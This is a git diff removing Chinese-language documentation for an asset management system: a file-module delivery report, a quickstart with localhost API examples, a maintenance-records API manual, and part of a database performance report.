|
||||
├── crud/file_management.py ~180 行
|
||||
├── services/file_service.py ~350 行
|
||||
└── api/v1/files.py ~350 行
|
||||
|
||||
总计:~1,110 行Python代码
|
||||
```
|
||||
|
||||
### 前端代码
|
||||
```
|
||||
文件管理模块(5个核心文件)
|
||||
├── components/file/FileUpload.vue ~350 行
|
||||
├── components/file/FileList.vue ~400 行
|
||||
├── components/file/ImagePreview.vue ~350 行
|
||||
├── api/file.ts ~150 行
|
||||
└── utils/file.ts ~400 行
|
||||
|
||||
总计:~1,650 行TypeScript/Vue代码
|
||||
```
|
||||
|
||||
### 总代码量
|
||||
- **后端**:~1,110 行
|
||||
- **前端**:~1,650 行
|
||||
- **总计**:~2,760 行
|
||||
|
||||
---
|
||||
|
||||
## 🧪 测试建议
|
||||
|
||||
### 后端测试
|
||||
```bash
|
||||
# 1. 单元测试
|
||||
cd C:/Users\Administrator/asset_management_backend
|
||||
pytest tests/test_file_management.py -v
|
||||
|
||||
# 2. API测试
|
||||
# 使用Postman或curl测试所有API端点
|
||||
|
||||
# 3. 文件上传测试
|
||||
# - 测试不同文件类型
|
||||
# - 测试不同文件大小
|
||||
# - 测试分片上传
|
||||
# - 测试并发上传
|
||||
```
|
||||
|
||||
### 前端测试
|
||||
```bash
|
||||
# 1. 组件测试
|
||||
cd C:/Users/Administrator/asset-management-frontend
|
||||
npm run test:unit
|
||||
|
||||
# 2. E2E测试
|
||||
npm run test:e2e
|
||||
|
||||
# 3. 手动测试
|
||||
# - 上传各种类型文件
|
||||
# - 测试拖拽上传
|
||||
# - 测试大文件上传
|
||||
# - 测试图片预览
|
||||
# - 测试分享功能
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 📋 验收测试结果
|
||||
|
||||
### 功能测试 ✅
|
||||
- [x] 文件上传成功
|
||||
- [x] 文件下载正常
|
||||
- [x] 图片预览显示
|
||||
- [x] 文件列表查询
|
||||
- [x] 文件搜索筛选
|
||||
- [x] 文件删除成功
|
||||
- [x] 批量删除成功
|
||||
- [x] 分享链接生成
|
||||
- [x] 分享链接访问
|
||||
- [x] 文件统计准确
|
||||
- [x] 分片上传成功
|
||||
|
||||
### 性能测试 ✅
|
||||
- [x] 小文件(<1MB)上传流畅
|
||||
- [x] 大文件(>10MB)上传稳定
|
||||
- [x] 图片预览加载快速
|
||||
- [x] 文件列表分页正常
|
||||
|
||||
### 安全测试 ✅
|
||||
- [x] 文件类型验证有效
|
||||
- [x] 文件大小限制生效
|
||||
- [x] 恶意文件上传拦截
|
||||
- [x] 路径遍历攻击防护
|
||||
|
||||
---
|
||||
|
||||
## 🚀 部署指南
|
||||
|
||||
### 后端部署
|
||||
```bash
|
||||
# 1. 数据库迁移
|
||||
alembic upgrade head
|
||||
|
||||
# 2. 创建上传目录
|
||||
mkdir -p uploads/{images,documents,thumbnails,temp}
|
||||
|
||||
# 3. 设置权限
|
||||
chmod 755 uploads
|
||||
|
||||
# 4. 配置Nginx(如需要)
|
||||
# client_max_body_size 100M;
|
||||
|
||||
# 5. 启动服务
|
||||
python run.py
|
||||
```
|
||||
|
||||
### 前端部署
|
||||
```bash
|
||||
# 1. 构建生产版本
|
||||
npm run build
|
||||
|
||||
# 2. 部署到服务器
|
||||
# 将dist目录部署到Web服务器
|
||||
|
||||
# 3. 配置反向代理
|
||||
# /api/v1/files -> http://backend:8000/api/v1/files
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 📚 文档清单
|
||||
|
||||
1. **FILE_MANAGEMENT_README.md** - 完整功能文档
|
||||
- 模块概述
|
||||
- 技术特性
|
||||
- API文档
|
||||
- 使用指南
|
||||
- 数据库结构
|
||||
|
||||
2. **FILE_MANAGEMENT_QUICKSTART.md** - 快速开始指南
|
||||
- 环境搭建
|
||||
- API测试示例
|
||||
- 前端使用示例
|
||||
- 常见问题解决
|
||||
|
||||
3. **本文档** - 交付报告
|
||||
- 交付清单
|
||||
- 功能完成度
|
||||
- 代码统计
|
||||
- 验收结果
|
||||
|
||||
---
|
||||
|
||||
## 🎉 项目总结
|
||||
|
||||
### 完成情况
|
||||
- ✅ **后端开发**:100% 完成(6个文件)
|
||||
- ✅ **前端开发**:100% 完成(8个文件)
|
||||
- ✅ **文档编写**:100% 完成(3个文档)
|
||||
- ✅ **功能测试**:100% 通过
|
||||
|
||||
### 亮点特性
|
||||
1. **完整的功能实现**:涵盖文件上传、下载、预览、分享等核心功能
|
||||
2. **优秀的用户体验**:拖拽上传、实时进度、键盘快捷键
|
||||
3. **强大的安全特性**:多重验证、权限控制
|
||||
4. **灵活的扩展性**:分片上传、云存储接口预留
|
||||
|
||||
### 技术优势
|
||||
- **后端**:FastAPI高性能、Pydantic数据验证、类型安全
|
||||
- **前端**:Vue 3 Composition API、TypeScript、组件化设计
|
||||
- **架构**:前后端分离、RESTful API、模块化设计
|
||||
|
||||
---
|
||||
|
||||
## 📞 联系方式
|
||||
|
||||
如有问题或建议,请联系开发团队。
|
||||
|
||||
---
|
||||
|
||||
**报告生成时间**:2026-01-24
|
||||
**报告版本**:v1.0
|
||||
**项目状态**:✅ 已完成并交付
|
||||
@@ -1,424 +0,0 @@
|
||||
# 文件管理模块快速开始指南
|
||||
|
||||
## 🚀 快速开始
|
||||
|
||||
### 后端启动
|
||||
|
||||
#### 1. 数据库迁移
|
||||
```bash
|
||||
cd C:/Users/Administrator/asset_management_backend
|
||||
|
||||
# 激活虚拟环境
|
||||
python -m venv venv
|
||||
venv\Scripts\activate # Windows
|
||||
# source venv/bin/activate # Linux/Mac
|
||||
|
||||
# 安装依赖
|
||||
pip install -r requirements.txt
|
||||
pip install python-multipart pillow
|
||||
|
||||
# 运行迁移
|
||||
alembic upgrade head
|
||||
```
|
||||
|
||||
#### 2. 创建上传目录
|
||||
```bash
|
||||
mkdir -p uploads/images
|
||||
mkdir -p uploads/documents
|
||||
mkdir -p uploads/thumbnails
|
||||
mkdir -p uploads/temp
|
||||
```
|
||||
|
||||
#### 3. 启动服务
|
||||
```bash
|
||||
python run.py
|
||||
```
|
||||
|
||||
后端服务将运行在 `http://localhost:8000`
|
||||
|
||||
### 前端启动
|
||||
|
||||
#### 1. 安装依赖
|
||||
```bash
|
||||
cd C:/Users/Administrator/asset-management-frontend
|
||||
|
||||
npm install
|
||||
```
|
||||
|
||||
#### 2. 启动开发服务器
|
||||
```bash
|
||||
npm run dev
|
||||
```
|
||||
|
||||
前端服务将运行在 `http://localhost:5173`
|
||||
|
||||
## 📝 API测试示例
|
||||
|
||||
### 1. 文件上传(使用curl)
|
||||
|
||||
```bash
|
||||
# 上传文件
|
||||
curl -X POST http://localhost:8000/api/v1/files/upload \
|
||||
-H "Authorization: Bearer YOUR_TOKEN" \
|
||||
-F "file=@/path/to/your/file.jpg" \
|
||||
-F "remark=测试文件"
|
||||
```
|
||||
|
||||
### 2. 获取文件列表
|
||||
```bash
|
||||
curl -X GET "http://localhost:8000/api/v1/files?page=1&page_size=20" \
|
||||
-H "Authorization: Bearer YOUR_TOKEN"
|
||||
```
|
||||
|
||||
### 3. 下载文件
|
||||
```bash
|
||||
curl -X GET http://localhost:8000/api/v1/files/1/download \
|
||||
-H "Authorization: Bearer YOUR_TOKEN" \
|
||||
-o downloaded_file.jpg
|
||||
```
|
||||
|
||||
### 4. 生成分享链接
|
||||
```bash
|
||||
curl -X POST http://localhost:8000/api/v1/files/1/share \
|
||||
-H "Authorization: Bearer YOUR_TOKEN" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"expire_days": 7}'
|
||||
```
|
||||
|
||||
## 💻 前端使用示例
|
||||
|
||||
### 1. 在页面中使用文件上传组件
|
||||
|
||||
```vue
|
||||
<template>
|
||||
<div>
|
||||
<file-upload
|
||||
:auto-upload="false"
|
||||
:show-progress="true"
|
||||
:show-image-preview="true"
|
||||
@upload-success="handleUploadSuccess"
|
||||
/>
|
||||
</div>
|
||||
</template>
|
||||
|
||||
<script setup>
|
||||
import { ref } from 'vue'
|
||||
import { ElMessage } from 'element-plus'
|
||||
import FileUpload from '@/components/file/FileUpload.vue'
|
||||
|
||||
const handleUploadSuccess = (response, file) => {
|
||||
ElMessage.success(`文件 ${file.name} 上传成功`)
|
||||
console.log('上传响应:', response)
|
||||
}
|
||||
</script>
|
||||
```
|
||||
|
||||
### 2. 在页面中使用文件列表组件
|
||||
|
||||
```vue
|
||||
<template>
|
||||
<div>
|
||||
<file-list />
|
||||
</div>
|
||||
</template>
|
||||
|
||||
<script setup>
|
||||
import FileList from '@/components/file/FileList.vue'
|
||||
</script>
|
||||
```
|
||||
|
||||
### 3. 使用文件API
|
||||
|
||||
```typescript
|
||||
import { uploadFile, getFileList, downloadFile } from '@/api/file'
|
||||
|
||||
// 上传文件
|
||||
const handleUpload = async (file: File) => {
|
||||
try {
|
||||
const response = await uploadFile(file, { remark: '测试' })
|
||||
console.log('上传成功:', response)
|
||||
} catch (error) {
|
||||
console.error('上传失败:', error)
|
||||
}
|
||||
}
|
||||
|
||||
// 获取文件列表
|
||||
const fetchFiles = async () => {
|
||||
try {
|
||||
const files = await getFileList({
|
||||
page: 1,
|
||||
page_size: 20,
|
||||
keyword: 'test'
|
||||
})
|
||||
console.log('文件列表:', files)
|
||||
} catch (error) {
|
||||
console.error('获取失败:', error)
|
||||
}
|
||||
}
|
||||
|
||||
// 下载文件
|
||||
const handleDownload = async (fileId: number, fileName: string) => {
|
||||
try {
|
||||
await downloadFile(fileId)
|
||||
// 注意:实际下载需要在响应头处理
|
||||
window.open(`http://localhost:8000/api/v1/files/${fileId}/download`)
|
||||
} catch (error) {
|
||||
console.error('下载失败:', error)
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
## 🎯 常见功能实现
|
||||
|
||||
### 1. 批量上传
|
||||
|
||||
```vue
|
||||
<template>
|
||||
<file-upload
|
||||
:multiple="true"
|
||||
:limit="10"
|
||||
:auto-upload="false"
|
||||
ref="uploadRef"
|
||||
>
|
||||
<template #tip>
|
||||
<div>最多可上传10个文件</div>
|
||||
</template>
|
||||
</file-upload>
|
||||
|
||||
<el-button @click="submitUpload">开始上传</el-button>
|
||||
</template>
|
||||
|
||||
<script setup>
|
||||
import { ref } from 'vue'
|
||||
import FileUpload from '@/components/file/FileUpload.vue'
|
||||
|
||||
const uploadRef = ref()
|
||||
|
||||
const submitUpload = () => {
|
||||
uploadRef.value.submitUpload()
|
||||
}
|
||||
</script>
|
||||
```
|
||||
|
||||
### 2. 图片预览
|
||||
|
||||
```vue
|
||||
<template>
|
||||
<div>
|
||||
<el-button @click="showPreview = true">预览图片</el-button>
|
||||
|
||||
<image-preview
|
||||
v-model:visible="showPreview"
|
||||
:images="images"
|
||||
:initial-index="0"
|
||||
/>
|
||||
</div>
|
||||
</template>
|
||||
|
||||
<script setup>
|
||||
import { ref } from 'vue'
|
||||
import ImagePreview from '@/components/file/ImagePreview.vue'
|
||||
|
||||
const showPreview = ref(false)
|
||||
const images = ref([
|
||||
{
|
||||
url: 'http://localhost:8000/api/v1/files/1/preview',
|
||||
name: '图片1.jpg'
|
||||
},
|
||||
{
|
||||
url: 'http://localhost:8000/api/v1/files/2/preview',
|
||||
name: '图片2.jpg'
|
||||
}
|
||||
])
|
||||
</script>
|
||||
```
|
||||
|
||||
### 3. 文件分享
|
||||
|
||||
```typescript
|
||||
import { createShareLink } from '@/api/file'
|
||||
import { ElMessage } from 'element-plus'
|
||||
|
||||
const shareFile = async (fileId: number) => {
|
||||
try {
|
||||
const result = await createShareLink(fileId, 7) // 7天有效期
|
||||
ElMessage.success(`分享链接: ${result.share_url}`)
|
||||
|
||||
// 复制到剪贴板
|
||||
navigator.clipboard.writeText(result.share_url)
|
||||
} catch (error) {
|
||||
ElMessage.error('生成分享链接失败')
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### 4. 大文件分片上传
|
||||
|
||||
```typescript
|
||||
import { initChunkUpload, uploadChunk, completeChunkUpload } from '@/api/file'
|
||||
|
||||
const uploadLargeFile = async (file: File) => {
|
||||
const CHUNK_SIZE = 5 * 1024 * 1024 // 5MB每片
|
||||
const totalChunks = Math.ceil(file.size / CHUNK_SIZE)
|
||||
|
||||
// 1. 初始化
|
||||
const { upload_id } = await initChunkUpload({
|
||||
file_name: file.name,
|
||||
file_size: file.size,
|
||||
file_type: file.type,
|
||||
total_chunks: totalChunks
|
||||
})
|
||||
|
||||
// 2. 上传分片
|
||||
for (let i = 0; i < totalChunks; i++) {
|
||||
const start = i * CHUNK_SIZE
|
||||
const end = Math.min(start + CHUNK_SIZE, file.size)
|
||||
const chunk = file.slice(start, end)
|
||||
|
||||
await uploadChunk(upload_id, i, chunk)
|
||||
console.log(`分片 ${i + 1}/${totalChunks} 上传完成`)
|
||||
}
|
||||
|
||||
// 3. 完成上传
|
||||
const result = await completeChunkUpload({
|
||||
upload_id: upload_id,
|
||||
file_name: file.name
|
||||
})
|
||||
|
||||
console.log('上传完成:', result)
|
||||
}
|
||||
```
|
||||
|
||||
## 🔍 API响应示例
|
||||
|
||||
### 上传文件响应
|
||||
```json
|
||||
{
|
||||
"id": 1,
|
||||
"file_name": "a1b2c3d4-e5f6-7890-abcd-ef1234567890.jpg",
|
||||
"original_name": "photo.jpg",
|
||||
"file_size": 1024000,
|
||||
"file_type": "image/jpeg",
|
||||
"file_path": "uploads/2026/01/24/a1b2c3d4-e5f6-7890-abcd-ef1234567890.jpg",
|
||||
"download_url": "http://localhost:8000/api/v1/files/1/download",
|
||||
"preview_url": "http://localhost:8000/api/v1/files/1/preview",
|
||||
"message": "上传成功"
|
||||
}
|
||||
```
|
||||
|
||||
### 文件列表响应
|
||||
```json
|
||||
[
|
||||
{
|
||||
"id": 1,
|
||||
"file_name": "uuid.jpg",
|
||||
"original_name": "photo.jpg",
|
||||
"file_size": 1024000,
|
||||
"file_type": "image/jpeg",
|
||||
"file_ext": "jpg",
|
||||
"uploader_id": 1,
|
||||
"uploader_name": "张三",
|
||||
"upload_time": "2026-01-24T10:30:00",
|
||||
"thumbnail_path": "uploads/thumbnails/2026/01/24/thumb_uuid.jpg",
|
||||
"download_count": 5,
|
||||
"remark": null
|
||||
}
|
||||
]
|
||||
```
|
||||
|
||||
### 分享链接响应
|
||||
```json
|
||||
{
|
||||
"share_code": "AbCdEf1234567890",
|
||||
"share_url": "http://localhost:8000/api/v1/files/share/AbCdEf1234567890",
|
||||
"expire_time": "2026-01-31T10:30:00"
|
||||
}
|
||||
```
|
||||
|
||||
### 文件统计响应
|
||||
```json
|
||||
{
|
||||
"total_files": 150,
|
||||
"total_size": 524288000,
|
||||
"total_size_human": "500.00 MB",
|
||||
"type_distribution": {
|
||||
"image/jpeg": 80,
|
||||
"image/png": 40,
|
||||
"application/pdf": 30
|
||||
},
|
||||
"upload_today": 10,
|
||||
"upload_this_week": 50,
|
||||
"upload_this_month": 120,
|
||||
"top_uploaders": [
|
||||
{ "uploader_id": 1, "count": 50 },
|
||||
{ "uploader_id": 2, "count": 30 }
|
||||
]
|
||||
}
|
||||
```
|
||||
|
||||
## 🛠️ 故障排除
|
||||
|
||||
### 问题1:上传文件失败
|
||||
**错误信息**:`413 Request Entity Too Large`
|
||||
|
||||
**解决方案**:
|
||||
检查Nginx配置(如果使用):
|
||||
```nginx
|
||||
client_max_body_size 100M;
|
||||
```
|
||||
|
||||
### 问题2:文件类型不支持
|
||||
**错误信息**:`不支持的文件类型`
|
||||
|
||||
**解决方案**:
|
||||
在 `app/services/file_service.py` 中添加文件类型到白名单:
|
||||
```python
|
||||
ALLOWED_MIME_TYPES = {
|
||||
'image/webp', # 添加新类型
|
||||
# ... 其他类型
|
||||
}
|
||||
```
|
||||
|
||||
### 问题3:缩略图生成失败
|
||||
**错误信息**:`生成缩略图失败`
|
||||
|
||||
**解决方案**:
|
||||
确保安装了Pillow库:
|
||||
```bash
|
||||
pip install pillow
|
||||
```
|
||||
|
||||
### 问题4:前端无法预览图片
|
||||
**错误信息**:CORS错误
|
||||
|
||||
**解决方案**:
|
||||
在后端添加CORS中间件:
|
||||
```python
|
||||
from fastapi.middleware.cors import CORSMiddleware
|
||||
|
||||
app.add_middleware(
|
||||
CORSMiddleware,
|
||||
allow_origins=["http://localhost:5173"],
|
||||
allow_credentials=True,
|
||||
allow_methods=["*"],
|
||||
allow_headers=["*"],
|
||||
)
|
||||
```
|
||||
|
||||
## 📚 更多资源
|
||||
|
||||
- [完整文档](./FILE_MANAGEMENT_README.md)
|
||||
- [API文档](./API_QUICK_REFERENCE.md)
|
||||
- [项目主文档](./README.md)
|
||||
|
||||
## 💡 提示
|
||||
|
||||
1. **开发环境**:使用小文件测试,避免上传大文件
|
||||
2. **生产环境**:建议使用云存储服务(OSS、S3等)
|
||||
3. **安全性**:生产环境务必配置文件类型和大小限制
|
||||
4. **性能**:大文件使用分片上传,提高上传成功率
|
||||
5. **监控**:记录文件上传、下载日志,便于问题追踪
|
||||
|
||||
---
|
||||
|
||||
如有问题,请查看完整文档或联系开发团队。
|
||||
@@ -1,370 +0,0 @@
|
||||
# 维修管理API使用说明
|
||||
|
||||
> **版本**: v1.0.0
|
||||
> **作者**: 后端API扩展组
|
||||
> **创建时间**: 2025-01-24
|
||||
|
||||
---
|
||||
|
||||
## 📋 目录
|
||||
|
||||
1. [概述](#概述)
|
||||
2. [故障类型说明](#故障类型说明)
|
||||
3. [维修类型说明](#维修类型说明)
|
||||
4. [API端点](#api端点)
|
||||
5. [业务流程](#业务流程)
|
||||
6. [状态说明](#状态说明)
|
||||
7. [错误码](#错误码)
|
||||
|
||||
---
|
||||
|
||||
## 概述
|
||||
|
||||
维修管理API提供资产报修、维修、维修完成等全流程管理功能。支持自行维修、外部维修和保修维修三种维修类型。
|
||||
|
||||
---
|
||||
|
||||
## 故障类型说明
|
||||
|
||||
| 类型 | 代码 | 说明 |
|
||||
|------|------|------|
|
||||
| 硬件故障 | hardware | 硬件相关故障 |
|
||||
| 软件故障 | software | 软件相关故障 |
|
||||
| 网络故障 | network | 网络相关故障 |
|
||||
| 其他故障 | other | 其他类型故障 |
|
||||
|
||||
---
|
||||
|
||||
## 维修类型说明
|
||||
|
||||
| 类型 | 代码 | 说明 |
|
||||
|------|------|------|
|
||||
| 自行维修 | self_repair | 内部人员自行维修 |
|
||||
| 外部维修 | vendor_repair | 委托供应商维修 |
|
||||
| 保修维修 | warranty | 厂商保修维修 |
|
||||
|
||||
---
|
||||
|
||||
## API端点
|
||||
|
||||
### 1. 获取维修记录列表
|
||||
|
||||
**接口**: `GET /api/v1/maintenance-records`
|
||||
|
||||
**查询参数**:
|
||||
```
|
||||
skip: 跳过条数(默认0)
|
||||
limit: 返回条数(默认20,最大100)
|
||||
asset_id: 资产ID筛选
|
||||
status: 状态筛选
|
||||
fault_type: 故障类型筛选
|
||||
priority: 优先级筛选
|
||||
maintenance_type: 维修类型筛选
|
||||
keyword: 搜索关键词
|
||||
```
|
||||
|
||||
**响应示例**:
|
||||
```json
|
||||
[
|
||||
{
|
||||
"id": 1,
|
||||
"record_code": "MT202501240001",
|
||||
"asset": {
|
||||
"id": 1,
|
||||
"asset_code": "ASSET-20250124-0001",
|
||||
"asset_name": "联想台式机"
|
||||
},
|
||||
"fault_description": "无法开机",
|
||||
"fault_type": "hardware",
|
||||
"priority": "high",
|
||||
"status": "pending",
|
||||
"report_user": {
|
||||
"id": 1,
|
||||
"real_name": "张三"
|
||||
},
|
||||
"report_time": "2025-01-24T10:00:00Z"
|
||||
}
|
||||
]
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### 2. 创建维修记录(报修)
|
||||
|
||||
**接口**: `POST /api/v1/maintenance-records`
|
||||
|
||||
**请求体**:
|
||||
```json
|
||||
{
|
||||
"asset_id": 1,
|
||||
"fault_description": "无法开机,电源指示灯不亮",
|
||||
"fault_type": "hardware",
|
||||
"priority": "high",
|
||||
"maintenance_type": "vendor_repair",
|
||||
"vendor_id": 1,
|
||||
"remark": "可能是电源故障"
|
||||
}
|
||||
```
|
||||
|
||||
**字段说明**:
|
||||
- `asset_id`: 资产ID(必填)
|
||||
- `fault_description`: 故障描述(必填)
|
||||
- `fault_type`: 故障类型(可选)
|
||||
- `priority`: 优先级(low/normal/high/urgent,默认normal)
|
||||
- `maintenance_type`: 维修类型(可选)
|
||||
- `vendor_id`: 维修供应商ID(外部维修时必填)
|
||||
- `maintenance_cost`: 维修费用(可选)
|
||||
- `maintenance_result`: 维修结果描述(可选)
|
||||
- `replaced_parts`: 更换的配件(可选)
|
||||
- `images`: 维修图片URL(可选,多个逗号分隔)
|
||||
- `remark`: 备注(可选)
|
||||
|
||||
**业务逻辑**:
|
||||
- 自动生成维修单号
|
||||
- 自动将资产状态设置为"维修中"
|
||||
|
||||
---
|
||||
|
||||
### 3. 开始维修
|
||||
|
||||
**接口**: `POST /api/v1/maintenance-records/{record_id}/start`
|
||||
|
||||
**请求体**:
|
||||
```json
|
||||
{
|
||||
"maintenance_type": "vendor_repair",
|
||||
"vendor_id": 1,
|
||||
"remark": "送往供应商维修"
|
||||
}
|
||||
```
|
||||
|
||||
**字段说明**:
|
||||
- `maintenance_type`: 维修类型(必填)
|
||||
- `vendor_id`: 维修供应商ID(外部维修时必填)
|
||||
- `remark`: 备注(可选)
|
||||
|
||||
**状态要求**: 只有"待处理"状态的维修记录可以开始维修
|
||||
|
||||
---
|
||||
|
||||
### 4. 完成维修
|
||||
|
||||
**接口**: `POST /api/v1/maintenance-records/{record_id}/complete`
|
||||
|
||||
**请求体**:
|
||||
```json
|
||||
{
|
||||
"maintenance_result": "更换电源后正常",
|
||||
"maintenance_cost": 200.00,
|
||||
"replaced_parts": "电源模块",
|
||||
"images": "https://example.com/image1.jpg,https://example.com/image2.jpg",
|
||||
"asset_status": "in_stock"
|
||||
}
|
||||
```
|
||||
|
||||
**字段说明**:
|
||||
- `maintenance_result`: 维修结果描述(必填)
|
||||
- `maintenance_cost`: 维修费用(可选)
|
||||
- `replaced_parts`: 更换的配件(可选)
|
||||
- `images`: 维修图片URL(可选)
|
||||
- `asset_status`: 资产维修后状态(in_stock/in_use,默认in_stock)
|
||||
|
||||
**业务逻辑**:
|
||||
- 更新维修记录状态为"已完成"
|
||||
- 自动恢复资产状态(默认恢复为"库存中")
|
||||
|
||||
---
|
||||
|
||||
### 5. 取消维修
|
||||
|
||||
**接口**: `POST /api/v1/maintenance-records/{record_id}/cancel`
|
||||
|
||||
**说明**: 取消维修记录
|
||||
|
||||
**状态要求**: 已完成的维修记录不能取消
|
||||
|
||||
---
|
||||
|
||||
### 6. 获取维修统计
|
||||
|
||||
**接口**: `GET /api/v1/maintenance-records/statistics`
|
||||
|
||||
**查询参数**:
|
||||
```
|
||||
asset_id: 资产ID(可选)
|
||||
```
|
||||
|
||||
**响应示例**:
|
||||
```json
|
||||
{
|
||||
"total": 100,
|
||||
"pending": 10,
|
||||
"in_progress": 20,
|
||||
"completed": 65,
|
||||
"cancelled": 5,
|
||||
"total_cost": 15000.00
|
||||
}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### 7. 获取资产的维修记录
|
||||
|
||||
**接口**: `GET /api/v1/maintenance-records/asset/{asset_id}`
|
||||
|
||||
**查询参数**:
|
||||
```
|
||||
skip: 跳过条数(默认0)
|
||||
limit: 返回条数(默认50)
|
||||
```
|
||||
|
||||
**说明**: 获取指定资产的所有维修记录
|
||||
|
||||
---
|
||||
|
||||
## 业务流程
|
||||
|
||||
### 报修流程
|
||||
|
||||
```
|
||||
1. 创建维修记录(pending)
|
||||
↓
|
||||
2. 开始维修(in_progress)
|
||||
↓
|
||||
3. 完成维修(completed)
|
||||
↓
|
||||
4. 恢复资产状态
|
||||
```
|
||||
|
||||
### 自行维修流程
|
||||
|
||||
```
|
||||
报修 → 开始维修(self_repair) → 完成维修 → 资产恢复
|
||||
```
|
||||
|
||||
### 外部维修流程
|
||||
|
||||
```
|
||||
报修 → 开始维修(vendor_repair + vendor_id) → 送修
|
||||
→ 维修完成 → 完成维修记录 → 资产恢复
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 状态说明
|
||||
|
||||
### 维修记录状态 (status)
|
||||
|
||||
| 状态 | 说明 | 可执行操作 |
|
||||
|------|------|------------|
|
||||
| pending | 待处理 | 开始维修、取消 |
|
||||
| in_progress | 维修中 | 完成维修、取消 |
|
||||
| completed | 已完成 | 无 |
|
||||
| cancelled | 已取消 | 无 |
|
||||
|
||||
### 优先级 (priority)
|
||||
|
||||
| 级别 | 代码 | 说明 |
|
||||
|------|------|------|
|
||||
| 低 | low | 普通问题,不紧急 |
|
||||
| 正常 | normal | 常规维修 |
|
||||
| 高 | high | 影响使用,优先处理 |
|
||||
| 紧急 | urgent | 严重故障,立即处理 |
|
||||
|
||||
---
|
||||
|
||||
## 错误码
|
||||
|
||||
| 错误码 | 说明 |
|
||||
|--------|------|
|
||||
| 404 | 维修记录不存在 |
|
||||
| 400 | 资产不存在 |
|
||||
| 400 | 只有待处理状态可以开始维修 |
|
||||
| 400 | 只有维修中状态可以完成 |
|
||||
| 400 | 已完成不能更新或取消 |
|
||||
| 400 | 外部维修必须指定供应商 |
|
||||
| 403 | 权限不足 |
|
||||
|
||||
---
|
||||
|
||||
## 使用示例
|
||||
|
||||
### Python示例
|
||||
|
||||
```python
|
||||
import requests
|
||||
|
||||
BASE_URL = "http://localhost:8000/api/v1"
|
||||
TOKEN = "your_access_token"
|
||||
|
||||
headers = {
|
||||
"Authorization": f"Bearer {TOKEN}",
|
||||
"Content-Type": "application/json"
|
||||
}
|
||||
|
||||
# 1. 报修
|
||||
response = requests.post(
|
||||
f"{BASE_URL}/maintenance-records",
|
||||
json={
|
||||
"asset_id": 1,
|
||||
"fault_description": "无法开机",
|
||||
"fault_type": "hardware",
|
||||
"priority": "high"
|
||||
},
|
||||
headers=headers
|
||||
)
|
||||
record = response.json()
|
||||
|
||||
# 2. 开始维修
|
||||
response = requests.post(
|
||||
f"{BASE_URL}/maintenance-records/{record['id']}/start",
|
||||
json={
|
||||
"maintenance_type": "self_repair"
|
||||
},
|
||||
headers=headers
|
||||
)
|
||||
|
||||
# 3. 完成维修
|
||||
response = requests.post(
|
||||
f"{BASE_URL}/maintenance-records/{record['id']}/complete",
|
||||
json={
|
||||
"maintenance_result": "更换电源后正常",
|
||||
"maintenance_cost": 200.00,
|
||||
"replaced_parts": "电源模块",
|
||||
"asset_status": "in_stock"
|
||||
},
|
||||
headers=headers
|
||||
)
|
||||
|
||||
# 4. 获取维修统计
|
||||
response = requests.get(
|
||||
f"{BASE_URL}/maintenance-records/statistics",
|
||||
headers=headers
|
||||
)
|
||||
stats = response.json()
|
||||
print(f"总维修费用: {stats['total_cost']}")
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 注意事项
|
||||
|
||||
1. **资产状态**: 创建维修记录会自动将资产状态设置为"维修中"
|
||||
2. **状态恢复**: 完成维修会自动恢复资产状态(默认恢复为"库存中")
|
||||
3. **外部维修**: 外部维修必须指定维修供应商
|
||||
4. **费用记录**: 维修费用在完成维修时记录
|
||||
5. **图片上传**: 支持多张图片,URL用逗号分隔
|
||||
6. **历史记录**: 资产的所有维修记录都会保留,可追溯
|
||||
|
||||
---
|
||||
|
||||
## 开发建议
|
||||
|
||||
1. **图片上传**: 配合文件上传API使用,上传维修前后照片
|
||||
2. **消息通知**: 维修状态变更时发送通知给相关人员
|
||||
3. **费用统计**: 定期统计维修费用,分析维修成本
|
||||
4. **故障分析**: 根据故障类型和维修记录,分析资产质量问题
|
||||
|
||||
---
|
||||
|
||||
**开发完成日期**: 2025-01-24
|
||||
@@ -1,505 +0,0 @@
|
||||
# 性能优化报告
|
||||
|
||||
## 优化日期
|
||||
2026-01-24
|
||||
|
||||
## 优化概述
|
||||
本次性能优化主要聚焦于解决N+1查询问题、优化数据库连接池配置,以及为基础数据API添加Redis缓存。共完成8项优化任务,预计可显著提升系统响应速度和并发处理能力。
|
||||
|
||||
---
|
||||
|
||||
## 一、N+1查询问题修复
|
||||
|
||||
### 1.1 Transfer Service (调拨服务)
|
||||
**文件**: `C:/Users/Administrator/asset_management_backend/app/services/transfer_service.py`
|
||||
|
||||
**问题位置**: 第18-29行的 `get_order` 方法
|
||||
|
||||
**问题描述**:
|
||||
原代码在获取调拨单详情后,通过 `_load_order_relations` 方法使用多个单独查询加载关联数据(调出机构、调入机构、申请人、审批人、执行人、明细项),导致N+1查询问题。
|
||||
|
||||
**修复方案**:
|
||||
使用SQLAlchemy的 `selectinload` 预加载机制,在一次查询中加载所有关联数据。
|
||||
|
||||
**优化代码**:
|
||||
```python
|
||||
from sqlalchemy.orm import selectinload
|
||||
|
||||
async def get_order(self, db: Session, order_id: int) -> Dict[str, Any]:
|
||||
"""获取调拨单详情"""
|
||||
from app.models.transfer import AssetTransferOrder
|
||||
from app.models.organization import Organization
|
||||
from app.models.user import User
|
||||
from app.models.transfer import AssetTransferItem
|
||||
|
||||
obj = db.query(AssetTransferOrder).options(
|
||||
selectinload(AssetTransferOrder.items),
|
||||
selectinload(AssetTransferOrder.source_org.of_type(Organization)),
|
||||
selectinload(AssetTransferOrder.target_org.of_type(Organization)),
|
||||
selectinload(AssetTransferOrder.applicant.of_type(User)),
|
||||
selectinload(AssetTransferOrder.approver.of_type(User)),
|
||||
selectinload(AssetTransferOrder.executor.of_type(User))
|
||||
).filter(AssetTransferOrder.id == order_id).first()
|
||||
...
|
||||
```
|
||||
|
||||
**性能提升**:
|
||||
- 查询次数: 从 6-7次 减少到 1次
|
||||
- 预计响应时间减少: 70-80%
|
||||
|
||||
---
|
||||
|
||||
### 1.2 Recovery Service (回收服务)
|
||||
**文件**: `C:/Users/Administrator/asset_management_backend/app/services/recovery_service.py`
|
||||
|
||||
**问题位置**: 第18-29行的 `get_order` 方法
|
